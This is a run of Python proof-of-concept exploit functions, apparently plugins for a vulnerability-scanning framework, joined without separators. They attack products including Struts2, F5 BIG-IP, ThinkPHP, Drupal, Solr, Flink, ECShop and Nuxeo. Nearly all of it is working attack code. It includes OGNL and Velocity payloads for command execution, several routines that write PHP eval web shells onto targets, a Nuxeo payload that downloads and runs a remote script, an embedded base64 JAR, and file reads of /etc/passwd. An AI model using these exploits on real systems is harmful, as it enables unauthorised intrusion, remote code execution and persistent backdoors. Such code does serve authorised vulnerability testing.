def _verify(self): result = {} vul_url = self.url target_url = vul_url PING_PATH = '/ping' PING_URL = vul_url + PING_PATH QUERY_PATH = '/query?q=show%20users' QUERY_URL = vul_url + QUERY_PATH try: resp = req.get(PING_URL) # 从响应头判断确实是InfluxDB if resp.status_code == 204 and "x-influxdb-version" in resp.headers: resp = req.get(QUERY_URL) str_resp_json = str(resp.json()) # 响应头为200 且json响应字符串包含columns和user,则认为查询成功 if resp.status_code == 200 and 'columns' in str_resp_json and 'user' in str_resp_json: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target_url return self.save_output(result) return self.save_output(result) except Exception as e: print(e) traceback.print_stack() return self.save_output(result)
def _verify(self): result = {} pr = urlparse(self.url) if pr.port: ports = [pr.port] else: ports = [443] for port in ports: for schema in ['http','https']: try: # check bypass url_check = '{}://{}:{}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902'.format(schema,pr.hostname,port) r_test = req.get(url_check,verify=False) # check fileRead.jsp if r_test.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, port) url_read = '{}://{}:{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/group'.format(schema,pr.hostname,port) r_read = req.get(url_read,verify = False) if r_read.status_code == 200: result['extra'] = {} result['extra']['evidence'] = r_read.content.decode('utf-8').strip() break except: #raise pass return self.parse_attack(result)
def _verify(self): result = {} # print(self.url) url = self.url # print(url) try: poc1 = '{}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../' poc2 = '{}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua' resp_poc1 = requests.get(poc1.format(url), verify=False, timeout=5) resp_poc2 = requests.get(poc2.format(url), verify=False, timeout=5) # flag = random_str(length=10) if ('common.lua' in resp_poc1.text) or ('browser_inc.lua' in resp_poc1.text): result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['PoC'] = poc1.format('') elif ('common.lua' in resp_poc2.text) or ('browser_inc.lua' in resp_poc2.text): result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['PoC'] = poc2.format('') except Exception as ex: logger.error(str(ex)) return self.parse_output(result)
def _verify(self): result = {} try: cmd = random_str(16) + '.6eb4yw.ceye.io' cmd2 = 'ping ' + cmd payload = '%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27' + cmd2 + '%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/' payload2 = '%24%7B%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27' + cmd2 + '%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/' action_path = self.get_option('apath') or '/actionChain1.action' target = self.url + payload + action_path target2 = self.url + payload2 + action_path r = requests.get(target, allow_redirects=False) r1 = requests.get(target2, allow_redirects=False) if r.status_code == 200 and r1.status_code != 200: res = requests.get( 'http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns' ) if cmd in res: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target result['VerifyInfo']['Payload'] = payload elif r1.status_code == 200 and r.status_code != 200: res = requests.get( 'http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns' ) if cmd in res: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target2 result['VerifyInfo']['Payload'] = payload2 except: pass return self.parse_output(result)
def _attack(self): result = {} filename = random_str(6) + ".php" webshell = r'''<?php echo "green day";@eval($_POST["pass"]);?>''' p = self._check(self.url) if p: data = p[1] # data["vars[1][]"] = "echo '{content}' > {filename}".format(filename=filename, # content=quote(webshell)) data["vars[1][]"] = "echo '{content}' | tee {filename}".format(filename=filename, content=webshell) data["vars[0]"] = "system" vulurl = self.url + p[0] requests.post(vulurl, data=data) r = requests.get(self.url + "/" + filename) if r.status_code == 200 and "green day" in r.text: result['ShellInfo'] = {} result['ShellInfo']['URL'] = self.url + "/" + filename result['ShellInfo']['Content'] = webshell if not result: vulurl = self.url + r"/index.php?s=index/\think\template\driver\file/write&cacheFile={filename}&content={content}" vulurl = vulurl.format(filename=filename, content=quote(webshell)) requests.get(vulurl) r = requests.get(self.url + "/" + filename) if r.status_code == 200 and "green day" in r.text: result['ShellInfo'] = {} result['ShellInfo']['URL'] = self.url + "/" + filename result['ShellInfo']['Content'] = webshell return self.parse_output(result)
def get_V2017Cookie(self, url): checkUrl = url + '/ispirit/login_code.php' try: self.headers["User-Agent"] = choice(self.USER_AGENTS) res = requests.get(checkUrl, headers=self.headers) resText = json.loads(res.text) codeUid = resText['codeuid'] codeScanUrl = url + '/general/login_code_scan.php' res = requests.post(codeScanUrl, data={ 'codeuid': codeUid, 'uid': int(1), 'source': 'pc', 'type': 'confirm', 'username': '******' }, headers=self.headers) resText = json.loads(res.text) status = resText['status'] if status == str(1): getCodeUidUrl = url + '/ispirit/login_code_check.php?codeuid=' + codeUid res = requests.get(getCodeUidUrl) Cookie = res.headers['Set-Cookie'] return url, 'V2017', Cookie else: return False except BaseException: return False
def _verify(self): result = {} vuln_url_1 = self.url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt" vuln_url_2 = self.url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" vuln_url_3 = self.url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///&fileExt=txt" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response_1 = requests.get(url=vuln_url_1, headers=headers, verify=False, timeout=10) response_2 = requests.get(url=vuln_url_2, headers=headers, verify=False, timeout=10) response_3 = requests.get(url=vuln_url_3, headers=headers, verify=False, timeout=10) if "No such file or directory" in response_1.text and "系统找不到指定的路径" in response_2.text: result['VerifyInfo'] = {} result['VerifyInfo']['message'] = self.url except Exception as e: return return self.parse_output(result)
def _verify(self): result = {} pr = urlparse(self.url) if pr.port: ports = [pr.port] else: ports = [8081] for port in ports: try: #get flink web path url_check = '{}://{}:{}/jobmanager/config'.format( pr.scheme, pr.hostname, port) r_test = req.get(url_check, verify=False) if r_test.status_code == 200: m = re.findall(b'/tmp/flink-web-(.+?)"', r_test.content) if not m: continue #upload jars random_jars = '{}.jar'.format(random.randint( 10000, 100000)) flink_upload_pathfile = '/tmp/flink-web-{}/flink-web-upload/{}'.format( m[0].decode('utf-8'), random_jars) upload_files = { 'jarfile': (flink_upload_pathfile, base64.b64decode( 'UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIFrNoNHjn6Av+MatToqLycn6UpX3Vt1q7uT7z+/fAPQixUNTehQcVtFp4YudGsoR0rFHWnvKuhRcE9Fr4r7GlQ8UPFQQZ+KRxqq0C+HARWDMvRYwZCGJ3iqoQ7DKkakHZXDmIJxBRMM8UHHdcQQQyTZvsgQHfVWOUN12nH5bCGf5f6Clc1xCuQtx2WoTy6nN6x3VipnuWspU/iOuzYgiZWmsOzNGWsrxJNABZOklEEb37H5lnA8N1DwjOamV/BtPuHIrPr4DrcLgnfLnDou4woDGBQv6HatPKWZ0vEc0zrSmCGJ246rYxZzDI0nIuZ9z+ZBMFJwcqvcZ6g5r4/y2fnVbr5DBctStizTQr5U1nFTwTqJCAmOl/qjqTwMZK1gXSLndbzASyJ2EdHEAkNtCC8IJ5cybct1ua/glY5FvJb4NwRdGdaRwZKOZdmP8rfHM8rmshvcFgwXSiwneU98x6t3trHdQPA8Q8UaF9T/FvfFLkNbssTelMpfIby0t839USsgWXXJkiDV9lxBmx4wNJ1OPLpu+SZ/W+CuzQfalxguJksfiTjfcQIRyKMlYbFAWL4g+Em5k92jerXnncSsov6m3K2CoLTcooYbiPxvu04FiN6YLBUIheiFgI/xnJN3hDwgt0ou03+7Sjljds4LOFpwiT5IeZWByUNK41WatZBlZGMdB2D7kCf3Go0awciJKOL0vTYTrCyE/6B5nOxHoyzdEemZMSKfES0iZsSLUPbQfAg1E/+K8kzE0MxM1KgwM7FO8wD67Cf0GpX90UNUZYzqA9QUUbsHxagm1zEnEZUc45jTVcQFGa/LJKjIxQPUGw1FNPbHErEiEvuymVBtD3QayxEh3Qq9N6CSfkHV6EMNJlGLafpbcPJuohHvkcAHWozrxGhF5Ai9Cm7QfYR6kPlF4aiCm/Qa3q0Ea6MnClp0epJh0fbfUEsDBAoAAAgAACJ1bU8AAAAAAAAAAAAAAAAJAAAATUVUQS1JTkYvUEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALgAAAFBLAQI/ABQAAAAIAASBJlLHe4y+9gIAAOgEAAANACQAAAAAAAAAIAAAAAAAAABFeGVjdXRlLmNsYXNzCgAgAAAAAAABABgAsQeXEAPk1gFyshItA+TWAdyLEi0D5NYBUEsBAgoACgAACAAAInVtTwAAAAAAAAAAAAAAAAkAAAAAAAAAAAAAAAAAIQMAAE1FVEEtSU5GL1BLAQIUABQACAgIACJ1bU+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAEgDAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSwUGAAAAAAMAAwDcAAAAvgMAAAAA' )) } url_upload = '{}://{}:{}/jars/upload'.format( pr.scheme, pr.hostname, port) r_upload = req.post(url_upload, files=upload_files, verify=False) if r_upload.status_code != 400: continue # exeucte random_log = 'flink--standalonesession-0-{}.log'.format( random.randint(10000, 100000)) url_exeucte = '{}://{}:{}/jars/{}/run?entry-class=Execute&program-args="touch $FLINK_HOME/log/{}"'.format( pr.scheme, pr.hostname, port, random_jars, random_log) r_execute = req.post(url_exeucte, verify=False) # check log exists: if r_execute.status_code != 400: continue url_log_exist = '{}://{}:{}/jobmanager/logs/{}'.format( pr.scheme, pr.hostname, port, random_log) r_exist = req.get(url_log_exist, verify=False) if r_exist.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = '{}:{}'.format( pr.hostname, port) break except: raise #pass return self.parse_attack(result)
def poc(url): headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n) res = requests.get(url, headers=headers) return True if ('59526062-264' in res.text) else False
def _verify(self): result = {} # 测试路径和接口字典: dir_path = ('', 'actuator', 'moniter') dir_file_list = ('mappings', 'metrics', 'beans', 'configprops', 'env') api_filie_list = ('swagger-ui.html', 'api-docs', 'v2/api-docs') result_verified_url = [] # 测试sprintboot actuator for path in dir_path: for file_name in dir_file_list: url_list = [] url_list.append(self.url) if not self.url.endswith('/'): url_list.append('/') if path: url_list.append(path + '/') url_list.append(file_name) url = ''.join(url_list) try: r = req.get(url) if r.status_code == 200: try: # 正常情况下返回是JSON格式 json.loads(r.text) result_verified_url.append('{}/{}'.format( path, file_name)) except: pass except: pass # 一般来说只会配置一个web prefix,所以如果测试有就不尝试其它目录了 if len(result_verified_url) > 0: break # 测试api、swagger: for file_name in api_filie_list: if self.url.endswith('/'): url = self.url + file_name else: url = self.url + '/' + file_name try: r = req.get(url) if r.status_code == 200: result_verified_url.append(file_name) except: pass if len(result_verified_url) > 0: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['extra'] = {} result['extra']['evidence'] = '\r\n'.join(result_verified_url) return self.parse_attack(result)
def _verify(self): result = {} pr = urlparse(self.url) if pr.port: ports = [pr.port] else: ports = [8983] for port in ports: target = '{}://{}:{}'.format(pr.scheme, pr.hostname, port) # 获取目标系统任意核心 target1 = target + "/solr/admin/cores?indexInfo=false&wt=json" headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:73.0) Gecko/20100101 Firefox/73.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Referer": self.url, "Upgrade-Insecure-Requests": "1" } res1 = req.get(target1, headers=headers) core = json.loads(res1.content.decode()) core2 = core['status'].keys() core3 = list(core2)[0] # 修改core下的配置文件,开启params.resource.loader.enabled target2 = target + "/solr/" + core3 + "/config" post_json = { "update-queryresponsewriter": { "class": "solr.VelocityResponseWriter", "name": "velocity", "params.resource.loader.enabled": "true", "solr.resource.loader.enabled": "true", "startup": "lazy", "template.base.dir": "" } } res2 = req.post(target2, headers=headers, json=post_json) # 开启后,直接Get 访问(带入表达式)进行 远程代码命令执行 target3 = target + "/solr/" + core3 + \ "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27echo%20d0xdeadbeaf%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" response = req.get(target3, headers=headers) if response and response.status_code == 200 and "0xdeadbeaf" in response.text and 'v.template' not in response.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, port) break return self.parse_output(result)
def _shell(self): veri_url1 = urljoin( self.url, '/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1') veri_url2 = urljoin(self.url, '/web/dsdk/DsdkProxy.php') cmd = self.get_option("command") data = "';{};'".format(cmd) headers = {'cookie': 'isAdmin=1;username=admin'} try: requests.get(veri_url1) requests.post(veri_url2, data=data, headers=headers) except Exception as e: logger.warn(str(e))
def exploit(self, mode): result = {} rand_path = random_str() vul_url1 = urljoin(self.url, "/" + rand_path) vul_url2 = urljoin(self.url, "/" + rand_path + "/.php") resp1 = requests.get(vul_url1) resp2 = requests.get(vul_url2) if resp1.status_code == 404 and "No input file specified" in resp2.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url return result
def _verify(self): result = {} # print(self.url) url = self.url.replace("http://", "") # print(url) try: url1 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash' url2 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id' url3 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd' url4 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list' requests.get(url1.format(url), verify=False, timeout=5) requests.get(url2.format(url), verify=False, timeout=5) # flag = random_str(length=10) resp = requests.get(url3.format(url), verify=False, timeout=5) if 'uid=0(root)' in resp.text: r = requests.get('https://{}/tmui/login.jsp'.format(url), verify=False, timeout=5) hostname = re.search(r'<p\stitle=\"(.*?)\">', r.text).group(1).strip().lower() result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Hostname'] = hostname except Exception as ex: logger.error(str(ex)) requests.get(url4.format(url), verify=False, timeout=5) return self.parse_output(result)
def _verify(self): result = {} try: vul_url = urljoin(self.url, "/ui/vropspluginui/rest/services/uploadova") resp1 = requests.get(self.url) resp2 = requests.get(vul_url) if '/vsphere-client' in resp1.text and resp2.status_code == 405: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url except Exception as e: logger.error(e) return self.parse_output(result)
def _verify(self): result = {} headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36', } log_path_list = { '3': ['/Runtime/Logs/', '/App/Runtime/Logs/', '/Application/Runtime/Logs/Admin/', '/Application/Runtime/Logs/Home/', '/Application/Runtime/Logs/'], '5': ['/runtime/log/'], } for temppath in log_path_list['3']: filename_list=self.getTPLogFilename(3) for filename in filename_list: logpath=temppath+filename vulurl = "{}{}".format( self.url.rstrip('/'), logpath) logger.info("Scan {}".format(vulurl)) try: resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False) if "INFO" in resp.text and resp.status_code==200: result['VerifyInfo'] = {} result['VerifyInfo']['url'] = vulurl return self.parse_attack(result) except Exception as e: logger.error("connect target '{} failed!'".format(vulurl)) pass for temppath in log_path_list['5']: filename_list=self.getTPLogFilename(5) for filename in filename_list: logpath=temppath+filename vulurl = "{}{}".format( self.url.rstrip('/'), logpath) logger.info("Scan {}".format(vulurl)) try: resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False) if "INFO" in resp.text and resp.status_code==200: result['VerifyInfo'] = {} result['VerifyInfo']['url'] = vulurl return self.parse_attack(result) except Exception as e: logger.error("connect target '{} failed!'".format(vulurl)) pass return self.parse_attack(result)
def _attack(self): result = {} filename = random_str(6)+'.php' webshell = '''<?php echo 'DEADBEEF';eval($_REQUEST['CzRee']); ?>''' url = self.url.rstrip('/') + "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" cmd = '''echo {} | base64 -d | tee {}'''.format(base64.b64encode(webshell.encode()).decode(), filename) payload = { 'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': cmd } resp = requests.post(url, data=payload) r = requests.get(urljoin(self.url, filename)) try: if 'DEADBEEF' in r.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Postdata'] = payload result['ShellInfo'] = {} result['ShellInfo']['URL'] = urljoin(self.url, filename) result['ShellInfo']['Content'] = 'CzRee' except Exception as ex: logger.error(str(ex)) return self.parse_output(result)
def _attack(self): HEADERS = { 'Accept': 'application/x-shockwave-flash,' 'image/gif,' 'image/x-xbitmap,' 'image/jpeg,' 'image/pjpeg,' 'application/vnd.ms-excel,' 'application/vnd.ms-powerpoint,' 'application/msword,' '*/*', 'Content-Type': 'application/x-www-form-urlencoded' } result = {} cmd = self.get_option("command") payload = r"?debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)" \ r"%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toS" \ r"tring(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toStri" \ r"ng.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=RECOMMAND" payload = payload.replace("RECOMMAND", cmd) url = self.url + payload try: response = requests.get(url, headers=HEADERS) if response and response.status_code == 200: result['Stdout'] = response.text except ReadTimeout: pass except Exception as e: pass return self.parse_output(result)
def _verify(self): result = {} headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Charset': 'ZWNobyAnZWVTenh1OTJuSURBYic7', # 输出 eeSzxu92nIDAb #'Accept-Charset': 'cGhwaW5mbygpOw==', # phpinfo(); #'Accept-Charset' : 'ZWNobygxMjM0KTtmaWxlX3B1dF9jb250ZW50cygnc2JzYnNiLnBocCcsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQUtRR1Z5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLYzJWemMybHZibDl6ZEdGeWRDZ3BPd3BwWmlBb2FYTnpaWFFvSkY5SFJWUmJKM0JoYzNNblhTa3BDbnNLSUNBZ0lDUnJaWGs5YzNWaWMzUnlLRzFrTlNoMWJtbHhhV1FvY21GdVpDZ3BLU2tzTVRZcE93b2dJQ0FnSkY5VFJWTlRTVTlPV3lkckoxMDlKR3RsZVRzS0lDQWdJSEJ5YVc1MElDUnJaWGs3Q24wS1pXeHpaUXA3Q2lBZ0lDQWthMlY1UFNSZlUwVlRVMGxQVGxzbmF5ZGRPd29KSkhCdmMzUTlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbkJvY0RvdkwybHVjSFYwSWlrN0NnbHBaaWdoWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duYjNCbGJuTnpiQ2NwS1FvSmV3b0pDU1IwUFNKaVlYTmxOalJmSWk0aVpHVmpiMlJsSWpzS0NRa2tjRzl6ZEQwa2RDZ2tjRzl6ZEM0aUlpazdDZ2tKQ2drSlptOXlLQ1JwUFRBN0pHazhjM1J5YkdWdUtDUndiM04wS1Rza2FTc3JLU0I3Q2lBZ0lDQUpDUWtnSkhCdmMzUmJKR2xkSUQwZ0pIQnZjM1JiSkdsZFhpUnJaWGxiSkdrck1TWXhOVjA3SUFvZ0lDQWdDUWtKZlFvSmZRb0paV3h6WlFvSmV3b0pDU1J3YjNOMFBXOXdaVzV6YzJ4ZlpHVmpjbmx3ZENna2NHOXpkQ3dnSWtGRlV6RXlPQ0lzSUNSclpYa3BPd29KZlFvZ0lDQWdKR0Z5Y2oxbGVIQnNiMlJsS0NkOEp5d2tjRzl6ZENrN0NpQWdJQ0FrWm5WdVl6MGtZWEp5V3pCZE93b2dJQ0FnSkhCaGNtRnRjejBrWVhKeVd6RmRPd29KWTJ4aGMzTWdRM3R3ZFdKc2FXTWdablZ1WTNScGIyNGdYMTlqYjI1emRISjFZM1FvSkhBcElIdGxkbUZzS0NSd0xpSWlLVHQ5ZlFvSlFHNWxkeUJES0NSd1lYSmhiWE1wT3dwOUNqOCsnKSk7Cj8+', 'Accept-Encoding': 'gzip,deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', } url = self.url payload = 'dede123' match_string="eeSzxu92nIDAb" try: resp = requests.get(url, timeout=20, headers=headers) time.sleep(2) if resp.text: if match_string in resp.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = payload except Exception as e: print(e) pass return self.parse_output(result)
def _exploit(self, cmd='whoami'): url = urljoin(self.url, '/user.php?act=login') phpcode = 'passthru("{0}");'.format(cmd) # ECShop 2.x payload ec2payload = self.gen_ec2payload(phpcode) # ECShop 3.x payload ec3payload = self.gen_ec3payload(phpcode) option = self.get_option("version") if option == "Auto": payloads = [(ec2payload, '2.x'), (ec3payload, '3.x')] elif option == "2.x": payloads = [(ec2payload, '2.x')] elif option == '3.x': payloads = [(ec3payload, '3.x')] # payloads = [ec2payload, ec3payload] for payload in payloads: headers = {'Referer': payload[0]} resp = requests.get(url, headers=headers) r = get_middle_text( resp.text, '''<input type="hidden" name="back_act" value="''', "\n<br />") if r: return r r = get_middle_text( resp.text, '''<input type="hidden" name="back_act" value="''', 'xxx') if r: return r
def _verify(self): result = {} url = urljoin(self.url, '/user.php?act=login') phpcode = "phpinfo()" flagText = "allow_url_include" # ECShop 2.x payload ec2payload = self.gen_ec2payload(phpcode) # ECShop 3.x payload ec3payload = self.gen_ec3payload(phpcode) option = self.get_option("version") if option == "Auto": payloads = [(ec2payload, '2.x'), (ec3payload, '3.x')] elif option == "2.x": payloads = [(ec2payload, '2.x')] elif option == '3.x': payloads = [(ec3payload, '3.x')] for payload, version in payloads: headers = {'Referer': payload} try: rr = requests.get(url, headers=headers) if flagText in rr.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['Version'] = version break except ReadTimeout: break except Exception as e: pass return self.parse_output(result)
def _shell(self): self._verify() proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' } payload_part2 = "/?key=#{request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())" \ "---request.getAttribute('methods')[15].invoke(request.getAttribute('methods')[7].invoke(null), " \ "'python note.py')}" url = urljoin(self.url, "/nuxeo/create_file.xhtml") params = { 'actionMethod': "widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')", 'directoryNameForPopup': payload_part2 } try: rr = requests.get(url, params=params, verify=False) if rr.status_code == 302 or rr.status_code == 200: pass except ReadTimeout: pass except Exception as e: pass
def _verify(self): proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' } result = {} httpServerIp = self.get_option('http_server_ip') httpServerPort = self.get_option('http_server_port') # 因为使用了format对字符串格式化, 故需要在原来的payload里多加一层{},否则会报错 payload_part1 = "/?key=#{{request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())" \ "---request.getAttribute('methods')[15].invoke(request.getAttribute('methods')[7].invoke(null), " \ "'wget {0}:{1}/note.py')}}".format(httpServerIp, httpServerPort) url = urljoin(self.url, "/nuxeo/create_file.xhtml") params = { 'actionMethod': "widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')", 'directoryNameForPopup': payload_part1 } try: rr = requests.get(url, params=params, verify=False) if rr.status_code == 302 or rr.status_code == 200: result['status'] = 'success' except ReadTimeout: pass except Exception as e: pass return self.parse_output(result)
def _verify(self): result = {} path = "/php/addscenedata.php" headers = { 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary4LuoBRpTiVBo9cIQ' } url = self.url + path data = ''' ------WebKitFormBoundary4LuoBRpTiVBo9cIQ Content-Disposition: form-data; name="upload"; filename="shell.php" Content-Type: text/plain <?php echo md5(233);unlink(__FILE__);?> ------WebKitFormBoundary4LuoBRpTiVBo9cIQ--''' try: resq = requests.post(url=url, headers=headers, data=data, timeout=5) resq_results = requests.get(url=self.url + '/images/scene/shell.php') if "e165421110ba03099a1c0393373c5b43" in resq_results.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['POC'] = path result['VerifyInfo'][ 'path'] = self.url + '/images/scene/shell.php' except Exception as e: return return self.parse_output(result)
def _verify(self): result = {} cookies = self.login() CEye_main = CEye(token=self.token) ceye_subdomain = CEye_main.getsubdomain() random_uri = random_str(16) logger.info("random_url为:%s" % random_uri) verify_payload = "curl%20" + random_uri + "." + str(ceye_subdomain) veri_url = urljoin( self.url, '/kylin/api/diag/project/%7c%7c' + verify_payload + '%7c%7c/download') headers = { "Content-Type": "text/xml;charset=UTF-8", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Cookie": cookies } logger.info("Headres如下:") logger.info(headers) try: resp = requests.get(veri_url, headers=headers) if CEye_main.verify_request(random_uri): result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = veri_url result['VerifyInfo']['Payload'] = verify_payload except Exception as e: logger.warn(str(e)) return self.parse_output(result)
def _attack(self): result = {} cmd = self.get_option("command") HEADERS = { 'Content-Type': "%{(#xxx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(" "#_memberAccess?(#_memberAccess=#dm):((#container=#context[" "'com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(" "@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames(" ").clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(" "#cmd='RECOMMAND').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase(" ").contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c'," "#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(" "#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse(" ").getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()," "#ros)).(#ros.flush())} ".replace("RECOMMAND", cmd) } try: response = requests.get(self.url, headers=HEADERS) if response and response.status_code == 200: result['Stdout'] = response.text except ReadTimeout: pass except Exception as e: pass return self.parse_output(result)
